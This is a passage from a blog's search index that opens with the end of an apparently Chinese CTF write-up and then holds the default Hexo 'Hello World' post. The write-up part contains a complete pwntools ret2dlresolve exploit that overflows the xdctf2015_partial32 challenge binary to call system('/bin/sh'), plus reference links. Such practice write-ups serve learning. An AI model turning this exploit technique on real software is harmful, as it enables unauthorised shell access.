class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br>context.binary = elf = ELF(<span class="hljs-string">"./xdctf2015_partial32"</span>)<br>rop = ROP(context.binary)<br>dlresolve = Ret2dlresolvePayload(elf,symbol=<span class="hljs-string">"system"</span>,args=[<span class="hljs-string">"/bin/sh"</span>])<br><br>rop.read(<span class="hljs-number">0</span>,dlresolve.data_addr)<br>rop.ret2dlresolve(dlresolve)<br>raw_rop = rop.chain()<br><br>io = process(<span class="hljs-string">"./xdctf2015_partial32"</span>)<br>io.recvuntil(<span class="hljs-string">"Welcome to XDCTF2015~!\n"</span>)<br><br>payload = flat({<span class="hljs-number">112</span>:raw_rop,<span class="hljs-number">256</span>:dlresolve.payload})<br>io.sendline(payload)<br>io.interactive()<br></code></pre></td></tr></table></figure><h3 id="参考文章"><a href="#参考文章" class="headerlink" title="参考文章"></a>参考文章</h3><p><a href="https://www.yuque.com/hxfqg9/bin/erh0l7">yichen的信安知识库</a></p><p><a href="https://xz.aliyun.com/t/5122">先知社区</a></p><p><a href="https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/">ctfwiki</a></p>]]></content>
<tags>
<tag>pwn</tag>
<tag>stack-pwn</tag>
</tags>
</entry>
<entry>
<title>Hello World</title>
<link href="/2023/12/28/hello-world/"/>
<url>/2023/12/28/hello-world/</url>
<content type="html"><![CDATA[<p>Welcome to <a href="https://hexo.io/">Hexo</a>! This is your very first post. Check <a href="https://hexo.io/docs/">documentation</a> for more info. If you get any problems when using Hexo, you can find the answer in <a href="https://hexo.io/docs/troubleshooting.html">troubleshooting</a> or you can ask me on <a href="https://github.com/hexojs/hexo/issues">GitHub</a>.</p><h2 id="Quick-Start"><a href="#Quick-Start" class="headerlink" title="Quick Start"></a>Quick Start</h2><h3 id="Create-a-new-post"><a href="#Create-a-new-post" class="headerlink" title="Create a new post"></a>Create a new post</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ hexo new <span class="hljs-string">"My New Post"</span><br></code></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/writing.html">Writing</a></p><h3 id="Run-server"><a href="#Run-server" class="headerlink" title="Run server"></a>Run server</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ hexo server<br></code></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/server.html">Server</a></p><h3 id="Generate-static-files"><a href="#Generate-static-files" class="headerlink" title="Generate static files"></a>Generate static files</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ hexo generate<br></code></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/generating.html">Generating</a></p><h3 id="Deploy-to-remote-sites"><a href="#Deploy-to-remote-sites" class="headerlink" title="Deploy to remote sites"></a>Deploy to remote sites</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ hexo deploy<br></code></pre></td></tr></table></figure><p>More info: <a href="https://hexo.io/docs/one-command-deployment.html">Deployment</a></p>]]></content>
</entry>
</search>